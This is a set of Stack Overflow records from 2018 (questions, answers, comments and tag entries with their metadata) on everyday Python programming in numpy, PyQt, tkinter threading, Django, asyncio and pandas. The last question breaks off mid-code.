has answer: http://stackoverflow.com/a/49538268
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49538084
tagged with: python-3.x
answer count: 2
has title: Match prices using regular expression, but with exceptions
possible better answer: http://stackoverflow.com/a/49538268
tagged with: python
accepted answer: http://stackoverflow.com/a/49538084
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/86105497
type: QuestionComment
score: 0
has text: I'm on Debian 8. Gtk 3.14 (I had to fix that in glade file), python 3.4.2. Everything is ok when I click buttons, I see popups. Btw, it's impossible to launch 2 instances of app
type: Comment
comment on: http://stackoverflow.com/q/49456718

http://stackoverflow.com/a/49528355
answers question: http://stackoverflow.com/q/49504271
type: Answer
downvote count: 0
has body: Clustering is an explorative technique. This means it must always be able to produce different results, as desired by the user. Having many parameters is a feature. It means the method can be adapted easily to very different data, and to user preferences. There will never be a generally useful parameter-free technique. At best, some parameters will have default values or heuristics (such as Euclidean distance, such as standardizing the input prior to clusterings such as the gap statistic for choosing k) that may give a reasonable first try in 80% of cases. But after that first try, you'll need to understand the data, and try other parameters to learn more about your data. Methods that claim to be "parameter free" usually just have some hidden parameters set so it works on the few toy example it was demonstrated on.
upvote count: 1
score: 1

http://stackoverflow.com/q/49441178
score: 2
answer count: 0
downvote count: 0
tagged with: python-unittest
has body: I would like know if there is any bg_subtests equivalent in python. Am using python unittest, and i would like multiple in subtest in single test and they should be run parellely.
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
tagged with: python
has title: Is there a bg_subtest equivalent in Python?

http://stackoverflow.com/comment/86091982
score: 0
comment on: http://stackoverflow.com/q/49538350
type: Comment
type: QuestionComment
has text: What's the result of `["Banana", "Banana"]`?

http://stackoverflow.com/q/49469308
answer count: 1
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/85941293
has comment: http://stackoverflow.com/comment/85941319
has title: "einsum"ize outer products of each col of A and row of B and store in a 3D array
has comment: http://stackoverflow.com/comment/85941217
tagged with: python
tagged with: linear-algebra
accepted answer: http://stackoverflow.com/a/49469366
has body: Even though I've found a few ways to do this, I'd like to fish for more concise and/or efficient ways to do the following: Suppose we have two arrays A = np.arange(12).reshape(4, 3) B = np.arange(-5, 7).reshape(3, 4) What I would like to do is to compute the outer products and place them in a 3D array C with the resulting shape (4,4,3) such that the relation C[:, :, k] == A[:, [k]] @ Bk should hold true for k=0,1,2. The resulting array C is array([[[ 0., -1., 6.], [ 0., 0., 8.], [ 0., 1., 10.], [ 0., 2., 12.]], [[-15., -4., 15.], [-12., 0., 20.], [ -9., 4., 25.], [ -6., 8., 30.]], [[-30., -7., 24.], [-24., 0., 32.], [-18., 7., 40.], [-12., 14., 48.]], [[-45., -10., 33.], [-36., 0., 44.], [-27., 10., 55.], [-18., 20., 66.]]]) Is there a way to enter this in the np.einsum formulation? Other solutions are also welcome.
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49469366
tagged with: matrix

http://stackoverflow.com/q/49469983
has title: RuntimeError: maximum recursion depth exceeded while calling a Python object while running sqlite3
has comment: http://stackoverflow.com/comment/85942662
has body: I am calling a function that is refreshing the Qcombobox when I change selected index and calls data from DB, and it also fills another Qlistwidget with the values listed in the DB where (some condition ) = the current value of the Qcombobox, here is the code : def category_change(): conn = sqlite3.connect('storage/container.db') conn.row_factory = lambda c, row: row[0] c = conn.cursor() c.execute("SELECT category_name FROM categories") category_all = ['', ] for items in c.fetchall(): category_all.append(items) conn.close() self.comboBox.clear() self.comboBox.addItems(category_all) conn = sqlite3.connect('storage/container.db') conn.row_factory = lambda c, row: row[0] c = conn.cursor() itemn1 = self.comboBox.currentText() itemn = unicode(itemn1) c.execute("SELECT itemName FROM items WHERE itemCategory = ?", (itemn, )) item_all = c.fetchall() conn.close() self.listWidget.clear() for items in item_all: self.listWidget.addItem(items) self.comboBox.currentIndexChanged.connect(category_change) and I get this error : Traceback (most recent call last): File "G:\Python\townoftech-warehouse\Warehouse.py", line 146, in category_change conn = sqlite3.connect('storage/container.db') RuntimeError: maximum recursion depth exceeded while calling a Python object [Finished in 8.0s] More information: I am also using the same way to autoload items into the combobox when is start the program: def setupUi(self, mainWindow): mainWindow.setObjectName(_fromUtf8("mainWindow")) mainWindow.resize(1262, 698) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(_fromUtf8(":/media/media/wh.ico")), QtGui.QIcon.Normal, QtGui.QIcon.Off) mainWindow.setWindowIcon(icon) mainWindow.setDockNestingEnabled(False) self.centralwidget = QtGui.QWidget(mainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.gridLayout = QtGui.QGridLayout(self.centralwidget) self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.comboBox = QtGui.QComboBox(self.centralwidget) self.comboBox.setObjectName(_…
tagged with: pyqt
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85942506
accepted answer: http://stackoverflow.com/a/49470236
answer count: 1
has answer: http://stackoverflow.com/a/49470236
type: Question
tagged with: python

http://stackoverflow.com/comment/86150389
has text: You need access members like this: `print(keypoints[0].pt, keypoints[0].angle,...)`
comment on: http://stackoverflow.com/q/49571323
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/63280236
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49460212
has body: I had same problem with yours. And I finally solve it I see you are trying to run code "Kaggle - BreastCancer.py" but your pycharm try to run "Breast.py" instead of your code. (I think Breast.py only contains functions so pycharm can run without showing any result) Check on tab [Run] which code you are trying to run.

http://stackoverflow.com/a/49494550
has comment: http://stackoverflow.com/comment/85994067
has body: This should do the trick: output = {} for i in ['starbucks','directions','navigate']: output[i] = df[df['Utterance'].str.lower().str.contains(i)]['Frequency'].sum() Yields: {'starbucks': 3666, 'directions': 2411, 'navigate': 678}
has comment: http://stackoverflow.com/comment/85995736
score: 0
answers question: http://stackoverflow.com/q/49494240
type: Answer

http://stackoverflow.com/q/49453095
has answer: http://stackoverflow.com/a/49453174
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/85909101
upvote count: 3
tagged with: http://stackoverflow.com/tag/json
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49453174
has title: How to calculate value from Json inside Python
has body: I need to bring a value from my Json file { "AUD": 1.5974, "BGN": 1.9558, "BRL": 4.0666, "CAD": 1.5889, "CHF": 1.1671, "CNY": 7.8016, "CZK": 25.399, "DKK": 7.4484, "GBP": 0.872, "HKD": 9.6641, "HRK": 7.4435, "HUF": 311.66, "IDR": 16938.0, "ILS": 4.2959, "INR": 80.183, "ISK": 122.7, "JPY": 129.75, "KRW": 1330.5, "MXN": 22.776, "MYR": 4.819, "NOK": 9.5308, "NZD": 1.7031, "PHP": 64.544, "PLN": 4.2217, "RON": 4.6675, "RUB": 70.32, "SEK": 10.12, "SGD": 1.6207, "THB": 38.512, "TRY": 4.8372, "USD": 1.2316, "ZAR": 14.572 } For example, in AUD: the 1.5974 value I need to bring.. My script: import json with open('2018-03-22.txt', 'r') as f: data = json.load(f) brl = (data["BRL"]) usd = float(data["USD"]) aud = (data["AUD"]) coin=str(input('choose coin: ')).lower() amount=int(input('insert amount: ')) if coin==aud: print(aud*amount) When I print this, I won't see any error, but it doesn't print anything. Do I need to convert str to float? Thanks for your time and help.
downvote count: 0
answer count: 1
tagged with: python

http://stackoverflow.com/a/49486568
upvote count: 5
type: Answer
score: 4
has body: Django Rest Framework dropped support for Django 1.8 in version 3.7. You should install an earlier version of rest framework, or upgrade Django (note that Django 1.8 reaches end-of-life in April 2018)
accepted answer of: http://stackoverflow.com/q/49486374
has comment: http://stackoverflow.com/comment/85977834
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85977532
answers question: http://stackoverflow.com/q/49486374
downvote count: 1
has comment: http://stackoverflow.com/comment/85976131

http://stackoverflow.com/a/49579329
downvote count: 0
upvote count: 1
has body: I'm trying to write a simple asynchronous data batch generator, but having troubles with understanding how to yield from an async for loop Yielding from an async for works like a regular yield, except that it also has to be collected by an async for or equivalent. For example, the yield in get_docs makes it an async generator. If you replace print(res) with yield res in main(), it will make main() an async generator as well. the generator in main() should exhaust in gen_batches(), so I can gather all results in gen_batches() To collect the values produced by an async generator (such as main() with print(res) replaced with yield res), you can use a helper coroutine: def gen_batches(self): loop = asyncio.get_event_loop() async def collect(): return [item async for item in self.main()] items = loop.run_until_complete(collect()) loop.close() return items The collect() helper makes use of a PEP 530 asynchronous comprehension, which can be thought of as syntactic sugar for the more explicit: async def collect(): l = [] async for item in self.main(): l.append(item) return l
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49574110
has comment: http://stackoverflow.com/comment/86226636

http://stackoverflow.com/a/49446090
score: 0
accepted answer of: http://stackoverflow.com/q/49445983
type: Answer
answers question: http://stackoverflow.com/q/49445983
has comment: http://stackoverflow.com/comment/85894420
type: AcceptedAnswer
has body: If you want to send information from one thread to another you should use signals, in your case create a signal that sends a str and connect it to a slot: class Thread(QtCore.QThread): changePixmap = QtCore.pyqtSignal(QtGui.QPixmap) changedQue = QtCore.pyqtSignal(str) def run (self): capture = cv2.VideoCapture('sample_video.mp4') while True: check, frame = capture.read() cv2.rectangle(frame,(120,80),(520,390),(255,0,0),5) convertToQtFormat = QtGui.QImage(frame.data, frame.shape[1], frame.shape[0], QtGui.QImage.Format_RGB888) convertToQtFormat = QtGui.QPixmap.fromImage(convertToQtFormat) video = convertToQtFormat.scaled(290, 220, QtCore.Qt.KeepAspectRatio) self.changePixmap.emit(video) face = detector.detect_faces(frame) if a_face in face: self.changedQue.emit('True') class MainGUI(QtWidgets.QMainWindow, Ui_MainWindow): def __init__(self, *args, **kwargs): QtWidgets.QMainWindow.__init__(self, *args, **kwargs) self.setupUi(self) th = Thread(self) th.changePixmap.connect(self.label.setPixmap) th.changedQue.connect(self.on_changedQue, QtCore.Qt.QueuedConnection) self.label.show() th.start() @QtCore.pyqtSlot(str): def on_changedQue(self, que): if que == "True": print('Yey')

http://stackoverflow.com/comment/86031040
type: Comment
type: QuestionComment
has text: Are you using Python 3 or 2? You tagged both. If I were you I would probably try fixing your problem with requests first as it's a much easier utility to use then urllib.
score: 0
comment on: http://stackoverflow.com/q/49513035

http://stackoverflow.com/q/49462551
has title: How to group consecutive elements values based on the key value in Python 3?
type: AnsweredQuestion
upvote count: 0
downvote count: 3
answer count: 1
tagged with: grouping
has comment: http://stackoverflow.com/comment/85928389
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49463092
tagged with: python-3.x
score: -3
has body: I'm a Python beginner and need help on this. My input is input: [(5, 1), (0, 3), (1, 3), (2, 3), (3, 3), (4, 3), (6, 3)] input contains [(value,key)] My output should be 0,1,2 3,4,6 5 The consecutive values need be grouped based on the key count and then sorted to show the final output. ie) 5 appears once and should be grouped alone 0, 1, 2 has the key count as 3 and hence should be grouped together 3, 4, 6 has the key count as 3 and hence should be grouped together The final output should be in sorted order and look like this 0,1,2 3,4,6 5 I tried with itertools.groupby() and it only groups the values based on similar keys. Any solutions would be helpful. I tried the following: sortedValidGroups = sorted(validGroups,key = lambda x:x[1]) print(sortedValidGroups) groups = [list(group) for key, group in groupby(sortedValidGroups, itemgetter(1))] print(groups) output: [[(5, 1)], [(0, 3), (1, 3), (2, 3), (3, 3), (4, 3), (6, 3)]] But my output should be (This is of the form[(values,keys)]) [[(5, 1)],[(0, 3), (1, 3), (2, 3)],[(3, 3), (4, 3), (6, 3)]] and then I need to sort the values to produce the final output 0,1,2 3,4,6 5
tagged with: python
accepted answer: http://stackoverflow.com/a/49463092
has comment: http://stackoverflow.com/comment/85928326

http://stackoverflow.com/comment/86033486
type: AnswerComment
has text: @PayamMesgari, ...are those items names of files that actually exist? If they exist, and you're passing them on the command line to `cat` (as this answer tells you to), then how/why would it actually throw a `No such file or directory` error?
type: Comment
comment on: http://stackoverflow.com/a/49513713
score: 0

http://stackoverflow.com/comment/86137139
type: Comment
has text: It is taking me back to where the script is saved rather than wordtoSearch csv file
comment on: http://stackoverflow.com/a/49562048
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86024421
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49510037
score: 0
has text: I have included the dataset above.

http://stackoverflow.com/comment/86141485
score: 1
type: Comment
comment on: http://stackoverflow.com/q/49566499
type: QuestionComment
has text: Both your indentation and brackets (print ham line) are broken.

http://stackoverflow.com/a/49572376
score: 3
upvote count: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49572245
has body: It is a not bug, but expected, check here: nlargest doesn't sort the values (which is part of why it's faster). You can sort afterwards. In [32]: df.sort_values(['a', 'c'], ascending=False).head(5) Out[32]: a b c 5 11 f 3.0 3 10 c 3.2 4 8 e NaN 2 1 d 4.0 6 -1 f 4.0 In [33]: df.nlargest(5, ['a', 'c']).sort_values(['a', 'c'], ascending=False) Out[33]: a b c 5 11 f 3.0 3 10 c 3.2 4 8 e NaN 2 1 d 4.0 6 -1 f 4.0
answers question: http://stackoverflow.com/q/49572245
type: AcceptedAnswer
type: Answer

shopify
tag name: shopify
type: Tag
tags question: http://stackoverflow.com/q/49567691

http://stackoverflow.com/comment/86095035
comment on: http://stackoverflow.com/q/49495230
has text: I'm not sure. That's one of my problems. There's no reference to namespaces in the file. However, it still adds in the namespace, which is why I need the `elem.tag.split("}")`. The original file contains the namespace. I pull out just the infoTable sections and put them in a new file, removing all namespaces. When I parse this new file, the namespaces are still there and I'm not sure why.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49453930
type: Question
has comment: http://stackoverflow.com/comment/85911085
tagged with: python
tagged with: masked-array
upvote count: 6
possible better answer: http://stackoverflow.com/a/49454164
has title: Return masked array as simple array with masked values as None
has body: I need to mask an array a by a condition fulfilled by another array b. For example values in a should only be preserved if the values in the same position of b equal 0, otherwise return as None. For example: a = np.array([2, 2, 4, 0, 4, 3, 3, 3, 1, 2]) is masked by b = np.array([0, 0, 0, 1, 0, 3, 0, 5, 0, 0]) to return c: [2, 2, 4, None, 4, None, 3, None, 1, 2] I have tried to_change = np.ma.masked_where(travel_time!=0, new_subareas) but this returns: masked_array(data=[2, 2, 4, --, 4, --, 3, --, 1, 2], mask=[False, False, False, True, False, True, False, True, False, False], fill_value=999999) But I can't find anything that will just return something like the example given for c. I need something done entirely in numpy and without for-loops or if statements, for speed as this will be for very large arrays. What am I missing?
tagged with: numpy
has answer: http://stackoverflow.com/a/49454164
type: AnsweredQuestion
answer count: 2
tagged with: arrays
downvote count: 0
score: 6
accepted answer: http://stackoverflow.com/a/49454000
has answer: http://stackoverflow.com/a/49454000
favorite count: 0

http://stackoverflow.com/comment/86049186
type: Comment
type: QuestionComment
has text: What command arguments did you use? What is the error you are getting? Is it GUI application?
comment on: http://stackoverflow.com/q/49521689
score: 0

http://stackoverflow.com/a/49494949
downvote count: 0
has comment: http://stackoverflow.com/comment/85998431
has comment: http://stackoverflow.com/comment/86246460
has comment: http://stackoverflow.com/comment/86007187
has body: You can define a binary variable as follows: x_{i,j} = 1 if Company i is responsible for Unit Cost j and add a constraint for each unit cost j telling that exactly one company must be responsible for that cost. Consider the following example. # data companies = ["company1", "company2", ...] products = ["prod1", "prod2", ...] cost = {"prod1": cost1, "prod2": cost2, ...} x = pulp.LpVariable.dicts("responsability",[(company, product) for company in companies for product in products], cat=pulp.LpBinary) prob = pulp.LpProblem("ilp", pulp.LpMinimize) # objective function - assuming the cost is the same for all the companies prob += pulp.LpSum(cost[product] * sum(x[(company, product)] for company in companies) for product in products) # each product assigned to one company for product in products: prob+= pulp.LpSum(x[(company, product)] for company in companies) == 1 # additional constraints ...
type: Answer
answers question: http://stackoverflow.com/q/49490423
has comment: http://stackoverflow.com/comment/86092621
upvote count: 2
score: 2

http://stackoverflow.com/comment/86033137
type: Comment
type: QuestionComment
has text: While part of me agree with @Benjamin, that this is a duplicate of the above question, I still consider the approach above somewhat unique in that it is a part of a Python program (a subprocess) that shall run at a certain time. That is not exactly the same, although similar.
score: 0
comment on: http://stackoverflow.com/q/49508824

http://stackoverflow.com/q/49499652
has comment: http://stackoverflow.com/comment/86055999
has title: clipped values on x-axis
type: Question
has body: pyqtgraph plot clips most right x-axis value Same happens with y-axis values if I add a y-axis label. I added margins: self.plotView.plot.setContentsMargins(10, 0, 10, 0) But got another problem. Now when I resize plot it preserves part of last value in margin space: I'm using PyQt5 on Debian Stretch. May be someone already faced with that problem. Any suggestions are welcome. UPDATE: After some experiments and tests with standard pyqtgraph examples that I took from that github account I found the same odd behavior with big numbers on x-axis: Plotting.py example: preserved part of last value cliped most right x-axis value Also tried PlotWidget.py example, same problem. The only thing that I want to know, is that OS(Desktop Environment?) dependent problem or no? Currently I'm using Debian Stretch under GNOME3 Environment. Thanks for any contribution!
has comment: http://stackoverflow.com/comment/86056033
type: UnansweredQuestion
tagged with: python
tagged with: pyqtgraph
score: 0
answer count: 0

http://stackoverflow.com/q/49568030
favorite count: 0
has comment: http://stackoverflow.com/comment/86144415
type: Question
score: 1
has body: I have this code: url = requests.get('https://sneakernews.com/release-dates/').text soup = BeautifulSoup(url, 'html.parser') tags = soup.find_all('div', {'class': 'col lg-2 sm-3 popular-releases-box'}) for tag in tags: link = tag.find('a').get('href') tag1 = str(tag.text) tag2 = tag1.splitlines() print(tag2) if link == 'javascript:void(0);': link = 'Link not available' I have this output: ['March ', 'OFF WHITE x Nike Air VaporMax'] ['04.12 ', 'Nike Air VaporMax 97 "Silver Bullet"'] ['April ', 'adidas Yeezy Desert Rat 500 "Blush"'] ['05.15 ', 'ACRONYM x Nike Air VaporMax MOC 2'] The above output is 2 lists vertically, I am trying to make each line a list horizontally.
tagged with: python
has title: Python splitlines() into list horizontally
has comment: http://stackoverflow.com/comment/86144463
has answer: http://stackoverflow.com/a/49568350
has comment: http://stackoverflow.com/comment/86144582
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86144617

http://stackoverflow.com/a/49471100
score: 8
has body: As documented, the ctime function just calls asctime, which has a fixed format. If you want to use a strftime-style format string, the way to do that is to call the strftime function. There are actually two ways to do this. The modern way is to construct a datetime object and call its method: &gt;&gt;&gt; datetime.datetime.fromtimestamp(mtime).strftime("%d %m %Y, %H:%M") '21 03 2018, 20:34' If you want to stick with the time module, you need a struct_tm to pass to its function: &gt;&gt;&gt; time.strftime("%d %m %Y, %H:%M", time.localtime(mtime)) '21 03 2018, 20:34' If this is the only thing you're doing with timestamps, there isn't much difference. But if you want to be able to, e.g., sort them, do arithmetic on them, etc., you'll probably be happier with datetime.
type: Answer
has comment: http://stackoverflow.com/comment/85944891
downvote count: 0
answers question: http://stackoverflow.com/q/49471004
upvote count: 8

http://stackoverflow.com/comment/85952794
has text: that didn't work, this worked, '(?P<pk>\w+)' ... no i meant how is that written, how can i understand something like that and write it by myself, without memorizing it
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49474955
type: Comment

http://stackoverflow.com/a/49572754
score: 1
has comment: http://stackoverflow.com/comment/86152955
downvote count: 1
has comment: http://stackoverflow.com/comment/86152937
answers question: http://stackoverflow.com/q/49572718
has comment: http://stackoverflow.com/comment/86153051
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/86153019
has body: sorted already sorts lexicographically, so the simple command &gt;&gt;&gt; sorted([[5, 2], [4, 7], [3, 5]]) [[3, 5], [4, 7], [5, 2]] is all you need.

http://stackoverflow.com/comment/87671780
has text: Hello, have you solved your problem? I'm facing something similar. Thanks
score: 0
comment on: http://stackoverflow.com/q/49475023
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86049801
has text: Yes. You can keep it as python file and if your code is not platform specific then you can run it on both platforms. Linux executable is ELF and Windows PE. They are completely different and you cant run it on other platforms. You could theoretically use wine on linux to run your exe but it doesnt always work.
type: Comment
comment on: http://stackoverflow.com/a/49521777
type: AnswerComment
score: 0

http://stackoverflow.com/q/49526816
type: Question
has answer: http://stackoverflow.com/a/49527095
tagged with: python
has answer: http://stackoverflow.com/a/49527016
has answer: http://stackoverflow.com/a/49526996
answer count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49527095
score: 0
has body: I would like to list recursively all the files starting from my current directory. My directory structure: │ cat.py │ cat2.py │ du.py │ README.md.txt │ └───FirstInnerDirectory │ file.txt │ └───SecondInnerDirectory file2.txt My script: import os def list_content_recursively(start_point): print("Call from: " + start_point) for entry in os.listdir(start_point): if os.path.isfile(entry): print("File: " + entry) elif os.path.isdir(entry): list_content_recursively(entry) list_content_recursively(os.getcwd()) My output: Call from: C:\Users\Username\Desktop\Programming\week02\03.Files File: cat.py File: cat2.py File: du.py Call from: FirstInnerDirectory File: README.md.txt I do not know why it's not returning the file in FirstInnerDirectory and it does not recognize the SecondInnerDirectory as a dir obj. I also tried to change the entry to include the absolute path, but it still failed.
possible better answer: http://stackoverflow.com/a/49526996
has comment: http://stackoverflow.com/comment/86059165
has title: Recursively listing all files in Python, not able to fetch all
has comment: http://stackoverflow.com/comment/86059118
has answer: http://stackoverflow.com/a/49527116
tagged with: recursion

http://stackoverflow.com/comment/86093747
comment on: http://stackoverflow.com/q/49542909
type: Comment
score: 0
type: QuestionComment
has text: I set the wait for 60 seconds but I'm still getting the element not visible error for my xpath selector.

http://stackoverflow.com/comment/86215135
comment on: http://stackoverflow.com/a/49590659
type: AnswerComment
has text: What error are you seeing? Which version of TensorFlow? I'm using 1.7.0
score: 0
type: Comment

http://stackoverflow.com/a/49588990
accepted answer of: http://stackoverflow.com/q/49588966
answers question: http://stackoverflow.com/q/49588966
type: Answer
has body: In SQLite, you can do this as: with ym as ( select Year, Month, Day_of_Week, count(*) as Num_of_Accidents from Accidents group by Year, Month, Day_of_Week ) select ym.* from ym where ym.Num_of_Accidents = (select max(ym2.Num_of_Accidents) from ym ym2 where ym2.year = ym.year and ym2.month = ym.month ) order by Year, Month; That said, your calculation is likely to be off, because some dows occur four times in a month and some occur five times (unless you are using some sort of fiscal calendar). Unfortunately, you don't have the specific date, so you cannot take this into account.
score: 0
has comment: http://stackoverflow.com/comment/86187164
type: AcceptedAnswer

http://stackoverflow.com/q/49583908
answer count: 0
has title: pylast get_top_tags not working for artist and song pulled from csv file
type: Question
tagged with: pylast
has comment: http://stackoverflow.com/comment/86185785
has comment: http://stackoverflow.com/comment/86359979
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has body: So I have a csv file with a bunch of artists and associated song names. I parse this file and set the artist and song name equal to variables. Then I use the artist and song name to get the track through pylast and it works fine. I print the track and it exists. But then when I do tags = track.get_top_tags(limit=None) I get pylast.WSError: Track not found. I've tried passing in just straight strings of the song title and artist to get_top_tags and it works fine so I don't understand. I've tried messing with the encodings but nothing is fixing it. This is my code.. with open(music_library_filename,'r',encoding='iso-8859-1') as music_library_csv: csv_reader = csv.reader(music_library_csv,delimiter=',') for row in csv_reader: song_name=str(row[0]) artist=str(row[1]) album=row[2] added_date=row[3] try: track = network.get_track(artist, song_name) print(track) tags = track.get_top_tags(limit=None) except: print("Track " + song_name + " not found") continue; Here's my full traceback.. Traceback (most recent call last): File "/Users/kcingel/PycharmProjects/my_music_library_analysis/music_analysis.py", line 29, in &lt;module&gt; tags = track.get_top_tags(limit=None) File "/Users/kcingel/PycharmProjects/my_music_library_analysis/pylast/__init__.py", line 1282, in get_top_tags doc = self._request(self.ws_prefix + '.getTopTags', True) File "/Users/kcingel/PycharmProjects/my_music_library_analysis/pylast/__init__.py", line 1031, in _request return _Request(self.network, method_name, params).execute(cacheable) File "/Users/kcingel/PycharmProjects/my_music_library_analysis/pylast/__init__.py", line 870, in execute response = self._download_response() File "/Users/kcingel/PycharmProjects/my_music_library_analysis/pylast/__init__.py", line 860, in _download_response self._check_response_for_errors(response_text) File "/Users/kcingel/PycharmProjects/my_music_library_analysis/pylast/__init__.py", line 890, in _check_response_for_errors raise WSError(self.network, status, details) pyl…
has comment: http://stackoverflow.com/comment/86179348
score: 0

django-authentication
tags question: http://stackoverflow.com/q/49506156
type: Tag
tag name: django-authentication
tags question: http://stackoverflow.com/q/49578337

http://stackoverflow.com/comment/86035610
type: Comment
type: QuestionComment
has text: Possible duplicate of [What is the purpose of the return statement?](https://stackoverflow.com/questions/7129285/what-is-the-purpose-of-the-return-statement)
score: 5
comment on: http://stackoverflow.com/q/49515322

http://stackoverflow.com/a/49567647
answers question: http://stackoverflow.com/q/49567604
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86143807
type: Answer
has body: The context object you're sending is not properly formated. The key of the dict should be the name you use in the template to iterate over the values. Try modifying your view with this updated function: def show(request, id): friends = Friend.objects.get(id=id) print 'show' context={ 'friends': friends } return render(request, "show.html", context) Then, in your template, modify the for loop: you mismatched friends (plural) with friend (singular) {% for friend in friends %} View Profile Remove Friend {% endfor %} BTW, if when querying your database with id=id (as you do here apparently) you receive several objects, you probably have a problem bigger than you think ;)

http://stackoverflow.com/q/49577377
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/86162498
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86162633
has comment: http://stackoverflow.com/comment/86162569
has title: Finding the sum of first two elements in a list and the second two elements and so on?
has answer: http://stackoverflow.com/a/49577489
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49577676
tagged with: arrays
tagged with: python
has answer: http://stackoverflow.com/a/49577697
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/86162511
has comment: http://stackoverflow.com/comment/86163215
has body: y is a list of lists and Total is an empty list u = [ y[i][::2] for i in range(x) ] t = [ y[i][1::2] for i in range(x) ] for a in range(x): for i in range(7): Total.append(u[a][i]+t[a][i]) For example y = [[1,3,6,9,2,1],[3,8,1,5,6,2]] u=[[3,9,1],[8,5,2]] t=[[1,6,2],[3,1,6]] Total = [[4,15,3],[11,6,8]] Is there a simpler way to write this code in a more Pythonic way or is the simplest method?
has answer: http://stackoverflow.com/a/49577606
has answer: http://stackoverflow.com/a/49577719

celery
tags question: http://stackoverflow.com/q/49575192
tags question: http://stackoverflow.com/q/49532169
tags question: http://stackoverflow.com/q/49447720
type: Tag
tags question: http://stackoverflow.com/q/49543630
tags question: http://stackoverflow.com/q/49508261
tags question: http://stackoverflow.com/q/49492670
tags question: http://stackoverflow.com/q/49467847
tags question: http://stackoverflow.com/q/49553620
tags question: http://stackoverflow.com/q/49586967
tag name: celery
tags question: http://stackoverflow.com/q/49461390
tags question: http://stackoverflow.com/q/49574020

http://stackoverflow.com/comment/86038825
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49516447
has text: They almost certainly provide it for download on their website. But I don't speek portugese.

postgresql
tags question: http://stackoverflow.com/q/49550784
tags question: http://stackoverflow.com/q/49587284
tags question: http://stackoverflow.com/q/49589911
tags question: http://stackoverflow.com/q/49542839
type: Tag
tags question: http://stackoverflow.com/q/49581069
tags question: http://stackoverflow.com/q/49479907
tags question: http://stackoverflow.com/q/49512030
tags question: http://stackoverflow.com/q/49597014
tags question: http://stackoverflow.com/q/49478164
tags question: http://stackoverflow.com/q/49595708
tags question: http://stackoverflow.com/q/49565983
tags question: http://stackoverflow.com/q/49527815
tags question: http://stackoverflow.com/q/49565415
tags question: http://stackoverflow.com/q/49461740
tags question: http://stackoverflow.com/q/49575105
tags question: http://stackoverflow.com/q/49460205
tags question: http://stackoverflow.com/q/49594067
tags question: http://stackoverflow.com/q/49532680
tags question: http://stackoverflow.com/q/49570712
tags question: http://stackoverflow.com/q/49544913
tags question: http://stackoverflow.com/q/49491305
tags question: http://stackoverflow.com/q/49583306
tag name: postgresql

http://stackoverflow.com/q/49498614
tagged with: selenium-chromedriver
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49499228
tagged with: selenium
downvote count: 1
favorite count: 0
type: Question
upvote count: 0
type: UnansweredQuestion
has body: Below xpath works in firefox but not in chrome any ideas?? /html/body/app/div/compliance/div/main/reporting/div[1]/div[2]/download-button/iron-dropdown/div/div/button[2]
answer count: 1
has comment: http://stackoverflow.com/comment/86007919
tagged with: python
score: -1
has title: why xpath works in firefox but not in chrome

http://stackoverflow.com/comment/86226830
type: AnswerComment
comment on: http://stackoverflow.com/a/49577321
has text: Just in case, I did try. Not working. Yes, I need only selected packages.
score: 0
type: Comment

http://stackoverflow.com/q/49582885
accepted answer: http://stackoverflow.com/a/49583060
tagged with: tkinter
answer count: 2
tagged with: multithreading
has title: RuntimeError when using threading and tkinter
has answer: http://stackoverflow.com/a/49594008
tagged with: python
has body: I am creating a program that runs multiple threads where each thread updates a variable and then displays that value using tkinter. The only problem is that I get a RuntimeError whenever I try and update the display: Exception in thread Thread-x: Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 916, in _bootstrap_inner self.run() File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 864, in run self._target(*self._args, **self._kwargs) File "program.py", line 15, in body update() File "program.py", line 11, in update display.config({"text" : "x = {0}".format(x)}) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/__init__.py", line 1479, in configure return self._configure('configure', cnf, kw) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/__init__.py", line 1470, in _configure self.tk.call(_flatten((self._w, cmd)) + self._options(cnf)) RuntimeError: main thread is not in main loop Some of the solutions I have tried to fix the error are: Make the display object global to the function (using global) Create a seperate function to update the display However, none of these solutions worked (the RuntimeError still kept occurring). Below is my program: import tkinter, time, threading window = tkinter.Tk() x = 0 display = tkinter.Label(window) display.pack() def update(): global x x += 1 display.config({"text" : "x = {0}".format(x)}) #It says the error is on this line def body(): time.sleep(3) update() body() def start_threads(): for i in range(5): thread = 